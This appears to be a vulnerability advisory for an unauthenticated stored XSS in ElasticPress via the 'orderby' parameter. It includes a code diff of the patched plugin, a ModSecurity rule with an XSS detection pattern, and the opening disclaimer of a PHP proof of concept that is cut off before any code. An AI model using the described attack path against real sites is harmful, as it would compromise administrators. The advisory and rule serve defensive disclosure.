+ *                         terms are queried, the IDs returned up to the limit are not necessarily the lowest.
+ * @return int[] Object IDs in ascending order, without duplicates.
+ */
+function get_term_object_ids( array $term_ids, string $taxonomy, int $limit = 0 ): array {
+	global $wpdb;
+
+	$term_ids = array_values( array_unique( array_map( 'absint', $term_ids ) ) );
+	if ( empty( $term_ids ) ) {
+		return [];
+	}
+
+	/**
+	 * Filter the number of object IDs fetched per query when getting a term's object IDs
+	 *
+	 * @hook ep_term_object_ids_chunk_size
+	 * @param  {int}    $chunk_size Number of object IDs fetched per query
+	 * @param  {int}    $term_id    Term ID (the first one, when getting the objects of several terms)
+	 * @param  {string} $taxonomy   Term taxonomy
+	 * @since  5.3.6
+	 * @return {int} New chunk size
+	 */
+	$chunk_size = max( 1, (int) apply_filters( 'ep_term_object_ids_chunk_size', 10000, $term_ids[0], $taxonomy ) );
+
+	$batches = [ $term_ids ];
+
+	/*
+	 * A query across several terms can't follow the index order, so each page sorts all of the
+	 * batch's remaining rows. Group the terms into batches of about one page, using their counts.
+	 * The counts only affect the grouping: a batch with more objects than expected (counts only
+	 * include published objects, and can be stale) is still fetched in full, with more pages.
+	 * Batches are also capped at 100 terms, which bounds that worst case.
+	 */
+	if ( count( $term_ids ) > 1 ) {
+		$placeholders = implode( ', ', array_fill( 0, count( $term_ids ), '%d' ) );
+		$counts       = $wpdb->get_results( // phpcs:ignore WordPress.DB.DirectDatabaseQuery
+			$wpdb->prepare(
+				"SELECT term_id, count FROM {$wpdb->term_taxonomy} WHERE term_id IN ( {$placeholders} ) AND taxonomy = %s", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+				array_merge( $term_ids, [ $taxonomy ] )
+			),
+			OBJECT_K
+		);
+
+		$batches      = [];
+		$batch        = [];
+		$object_count = 0;
+
+		foreach ( $term_ids as $term_id ) {
+			// Not a term of this taxonomy, so it has no objects.
+			if ( ! isset( $counts[ $term_id ] ) ) {
+				continue;
+			}
+
+			$term_count = (int) $counts[ $term_id ]->count;
+
+			if ( ! empty( $batch ) && ( $object_count + $term_count > $chunk_size || count( $batch ) >= 100 ) ) {
+				$batches[]    = $batch;
+				$batch        = [];
+				$object_count = 0;
+			}
+
+			$batch[]       = $term_id;
+			$object_count += $term_count;
+		}
+
+		if ( ! empty( $batch ) ) {
+			$batches[] = $batch;
+		}
+	}
+
+	// Batches are sorted separately and can share objects. Sort and drop the repeats in place,
+	// without a second copy of the list.
+	$deduplicate       = count( $batches ) > 1;
+	$remove_duplicates = static function ( array &$ids ) {
+		sort( $ids );
+
+		$count = count( $ids );
+		$write = 0;
+		for ( $read = 0; $read < $count; $read++ ) {
+			if ( 0 === $write || $ids[ $read ] !== $ids[ $write - 1 ] ) {
+				$ids[ $write ] = $ids[ $read ];
+				++$write;
+			}
+		}
+
+		for ( $i = $write; $i < $count; $i++ ) {
+			array_pop( $ids );
+		}
+	};
+
+	$object_ids = [];
+
+	foreach ( $batches as $batch ) {
+		// An object attached to several terms of the batch would be returned once per term.
+		$distinct     = count( $batch ) > 1 ? 'DISTINCT ' : '';
+		$placeholders = implode( ', ', array_fill( 0, count( $batch ), '%d' ) );
+		$last_id      = 0;
+
+		do {
+			$page_size = $limit ? min( $chunk_size, $limit - count( $object_ids ) ) : $chunk_size;
+
+			// $distinct and $placeholders are fixed strings; every value goes through prepare().
+			// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
+			$chunk = $wpdb->get_col( // phpcs:ignore WordPress.DB.DirectDatabaseQuery
+				$wpdb->prepare(
+					"SELECT {$distinct}tr.object_id FROM {$wpdb->term_relationships} AS tr
+					INNER JOIN {$wpdb->term_taxonomy} AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id
+					WHERE tt.term_id IN ( {$placeholders} ) AND tt.taxonomy = %s AND tr.object_id > %d
+					ORDER BY tr.object_id ASC LIMIT %d",
+					array_merge( $batch, [ $taxonomy, $last_id, $page_size ] )
+				)
+			);
+			// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
+
+			foreach ( $chunk as $object_id ) {
+				$object_ids[] = (int) $object_id;
+			}
+
+			$chunk_count = count( $chunk );
+			$last_id     = (int) end( $chunk );
+
+			if ( $limit && count( $object_ids ) >= $limit ) {
+				// Repeats from earlier batches don't count towards the limit.
+				if ( $deduplicate ) {
+					$remove_duplicates( $object_ids );
+				}
+
+				if ( count( $object_ids ) >= $limit ) {
+					break 2;
+				}
+			}
+		} while ( $chunk_count === $page_size );
+	}
+
+	if ( $deduplicate ) {
+		$remove_duplicates( $object_ids );
+	}
+
+	return $object_ids;
+}
--- a/elasticpress/vendor-prefixed/autoload-classmap.php
+++ b/elasticpress/vendor-prefixed/autoload-classmap.php
@@ -5,106 +5,106 @@
 $strauss_src = dirname(__FILE__);

 return array(
-   'ElasticPressVendor_PrefixedComposerInstallersMODULEWorkInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/MODULEWorkInstaller.php',
+   'ElasticPressVendor_PrefixedPsrContainerContainerInterface' => $strauss_src . '/psr/container/src/ContainerInterface.php',
+   'ElasticPressVendor_PrefixedPsrContainerNotFoundExceptionInterface' => $strauss_src . '/psr/container/src/NotFoundExceptionInterface.php',
+   'ElasticPressVendor_PrefixedPsrContainerContainerExceptionInterface' => $strauss_src . '/psr/container/src/ContainerExceptionInterface.php',
+   'ElasticPressVendor_PrefixedComposerInstallersBitrixInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/BitrixInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersKnownInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/KnownInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersAglInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/AglInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersForkCMSInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ForkCMSInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersElggInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ElggInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersOntoWikiInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/OntoWikiInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersItopInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ItopInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersWHMCSInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/WHMCSInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersConcreteCMSInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ConcreteCMSInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersLithiumInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/LithiumInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersSMFInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/SMFInstaller.php',
    'ElasticPressVendor_PrefixedComposerInstallersMantisBTInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/MantisBTInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersShopwareInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ShopwareInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersCakePHPInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/CakePHPInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersPrestashopInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PrestashopInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersPPIInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PPIInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersSyDESInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/SyDESInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersChefInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ChefInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersDokuWikiInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/DokuWikiInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersRedaxoInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/RedaxoInstaller.php',
    'ElasticPressVendor_PrefixedComposerInstallersPortoInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PortoInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersExpressionEngineInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ExpressionEngineInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersYawikInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/YawikInstaller.php',
    'ElasticPressVendor_PrefixedComposerInstallersPhpBBInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PhpBBInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersForkCMSInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ForkCMSInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersAsgardInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/AsgardInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersCockpitInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/CockpitInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersCodeIgniterInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/CodeIgniterInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersUserFrostingInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/UserFrostingInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersModxInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ModxInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersTastyIgniterInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/TastyIgniterInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersCroogoInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/CroogoInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersFuelInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/FuelInstaller.php',
    'ElasticPressVendor_PrefixedComposerInstallersInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/Installer.php',
-   'ElasticPressVendor_PrefixedComposerInstallersItopInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ItopInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersKnownInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/KnownInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersChefInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ChefInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersTuskInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/TuskInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersHuradInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/HuradInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersPlugin' => $strauss_src . '/composer/installers/src/Composer/Installers/Plugin.php',
    'ElasticPressVendor_PrefixedComposerInstallersMagentoInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/MagentoInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersReIndexInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ReIndexInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersPxcmsInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PxcmsInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersMicroweberInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/MicroweberInstaller.php',
    'ElasticPressVendor_PrefixedComposerInstallersOctoberInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/OctoberInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersKohanaInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/KohanaInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersTheliaInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/TheliaInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersProcessWireInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ProcessWireInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersMayaInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/MayaInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersZikulaInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ZikulaInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersRedaxoInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/RedaxoInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersSilverStripeInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/SilverStripeInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersPuppetInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PuppetInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersClanCatsFrameworkInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ClanCatsFrameworkInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersStarbugInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/StarbugInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersConcrete5Installer' => $strauss_src . '/composer/installers/src/Composer/Installers/Concrete5Installer.php',
    'ElasticPressVendor_PrefixedComposerInstallersAkauntingInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/AkauntingInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersPlugin' => $strauss_src . '/composer/installers/src/Composer/Installers/Plugin.php',
-   'ElasticPressVendor_PrefixedComposerInstallersVgmcpInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/VgmcpInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersOxidInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/OxidInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersPlentymarketsInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PlentymarketsInstaller.php',
    'ElasticPressVendor_PrefixedComposerInstallersMakoInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/MakoInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersPantheonInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PantheonInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersMediaWikiInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/MediaWikiInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersPiwikInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PiwikInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersWinterInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/WinterInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersRoundcubeInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/RoundcubeInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersDrupalInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/DrupalInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersPxcmsInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PxcmsInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersAnnotateCmsInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/AnnotateCmsInstaller.php',
    'ElasticPressVendor_PrefixedComposerInstallersOsclassInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/OsclassInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersMiaoxingInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/MiaoxingInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersSiteDirectInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/SiteDirectInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersDecibelInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/DecibelInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersImageCMSInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ImageCMSInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersGravInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/GravInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersVgmcpInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/VgmcpInstaller.php',
    'ElasticPressVendor_PrefixedComposerInstallersCiviCrmInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/CiviCrmInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersShopwareInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ShopwareInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersPrestashopInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PrestashopInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersTastyIgniterInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/TastyIgniterInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersKanboardInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/KanboardInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersPhiftyInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PhiftyInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersAglInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/AglInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersAttogramInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/AttogramInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersStarbugInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/StarbugInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersWHMCSInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/WHMCSInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersRadPHPInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/RadPHPInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersEzPlatformInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/EzPlatformInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersSyDESInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/SyDESInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersSyliusInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/SyliusInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersBotbleInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/BotbleInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersDframeInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/DframeInstaller.php',
    'ElasticPressVendor_PrefixedComposerInstallersWordPressInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/WordPressInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersImageCMSInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ImageCMSInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersSyliusInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/SyliusInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersPiwikInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PiwikInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersMauticInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/MauticInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersMatomoInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/MatomoInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersEzPlatformInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/EzPlatformInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersVanillaInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/VanillaInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersLanManagementSystemInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/LanManagementSystemInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersMODULEWorkInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/MODULEWorkInstaller.php',
    'ElasticPressVendor_PrefixedComposerInstallersLaravelInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/LaravelInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersOntoWikiInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/OntoWikiInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersEliasisInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/EliasisInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersWinterInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/WinterInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersHuradInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/HuradInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersAttogramInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/AttogramInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersDrupalInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/DrupalInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersMoodleInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/MoodleInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersBaseInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/BaseInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersPantheonInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PantheonInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersReIndexInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ReIndexInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersProcessWireInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ProcessWireInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersPhiftyInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PhiftyInstaller.php',
    'ElasticPressVendor_PrefixedComposerInstallersTaoInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/TaoInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersDolibarrInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/DolibarrInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersAsgardInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/AsgardInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersCockpitInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/CockpitInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersOxidInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/OxidInstaller.php',
    'ElasticPressVendor_PrefixedComposerInstallersRedaxo5Installer' => $strauss_src . '/composer/installers/src/Composer/Installers/Redaxo5Installer.php',
-   'ElasticPressVendor_PrefixedComposerInstallersLanManagementSystemInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/LanManagementSystemInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersAnnotateCmsInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/AnnotateCmsInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersLithiumInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/LithiumInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersDokuWikiInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/DokuWikiInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersGravInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/GravInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersExpressionEngineInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ExpressionEngineInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersCodeIgniterInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/CodeIgniterInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersYawikInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/YawikInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersFuelInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/FuelInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersPlentymarketsInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PlentymarketsInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersPPIInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/PPIInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersRadPHPInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/RadPHPInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersRoundcubeInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/RoundcubeInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersKodiCMSInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/KodiCMSInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersZikulaInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ZikulaInstaller.php',
    'ElasticPressVendor_PrefixedComposerInstallersZendInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ZendInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersCakePHPInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/CakePHPInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersMauticInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/MauticInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersDolibarrInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/DolibarrInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersLavaLiteInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/LavaLiteInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersBonefishInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/BonefishInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersVanillaInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/VanillaInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersMajimaInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/MajimaInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersKohanaInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/KohanaInstaller.php',
+   'ElasticPressVendor_PrefixedComposerInstallersMediaWikiInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/MediaWikiInstaller.php',
    'ElasticPressVendor_PrefixedComposerInstallersFuelphpInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/FuelphpInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersCroogoInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/CroogoInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersMODXEvoInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/MODXEvoInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersConcreteCMSInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ConcreteCMSInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersDframeInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/DframeInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersModxInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/ModxInstaller.php',
-   'ElasticPressVendor_PrefixedComposerInstallersSMFInstaller' => $strauss_src . '/composer/installers/src/Composer/Installers/SMFInstaller.php',
-   'ElasticPressVendo

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-116518
# ElasticPress <= 5.3.5 unauthenticated stored XSS via 'orderby'.
# The exploit delivers an HTML/JS payload through the frontend 'orderby' parameter.
# ElasticPress forwards orderby into an Elasticsearch query; the resulting error is
# logged and later rendered in the admin Status Report. Legitimate callers send
# orderby values from a small fixed set (date, relevance, title, menu_order, etc.),
# so matching tag/angle brackets or javascript: in orderby has no legitimate use.
SecRule REQUEST_METHOD "@streq GET" 
  "id:20261165,phase:2,deny,status:403,chain,msg:'CVE-2026-116518 ElasticPress unauthenticated stored XSS via orderby',severity:'CRITICAL',tag:'CVE-2026-116518',tag:'OWASP_CRS/WEB_ATTACK/XSS'"
  SecRule ARGS_GET:orderby "@rx [<>'x60]|javascript:|onerrors*=|onloads*=|onmouseovers*=|alerts*(" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
